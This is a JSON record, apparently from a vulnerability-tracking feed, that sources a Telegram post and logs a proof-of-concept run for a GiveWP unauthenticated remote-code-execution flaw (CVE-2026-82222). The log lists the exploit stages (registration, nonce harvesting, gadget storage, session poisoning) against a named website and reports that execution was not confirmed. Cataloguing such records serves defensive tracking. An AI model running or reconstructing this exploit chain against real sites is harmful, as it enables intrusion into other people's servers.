{"uuid": "1fd7eec9-bf9f-4a4a-bec3-e34bd1751ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/510", "content": "python poc.py -u https://parishtest.actondev7.com\nCVE-2026-82222 GiveWP unauth RCE PoC \u2014 1 target(s), cmd='id'\n\n[*] target https://parishtest.actondev7.com  token mb1qjodqvj9a\n    [PASS] register (auth cookie issued) \u2014 status=200\n    [PASS] profile nonce harvested \u2014 uid='14'\n    [PASS] gadget stored in last_name meta \u2014 update=True stored_len=481\n    [PASS] donation form discovered \u2014 form_id=9 via https://parishtest.actondev7.com/donations/donate-to-the-parish/\n    [PASS] donation nonce via admin-ajax \u2014 nonce=d675274bcb...\n    [FAIL] session poisoned (HTTP 500 after write) \u2014 status=200 (no crash: amount/gateway mismatch or write-path rejection \u2014 target may be patched)\n    [FAIL] command executed (marker fetched over HTTP) \u2014 marker https://parishtest.actondev7.com/wp-content/uploads/mb1qjodqvj9a.txt not retrievable\n\n================================================================\ntarget                                     result\n----------------------------------------------------------------\nhttps://parishtest.actondev7.com           not confirmed\n================================================================\n0/1 target(s) confirmed command execution", "creation_timestamp": "2026-08-30T17:00:05.264472Z"}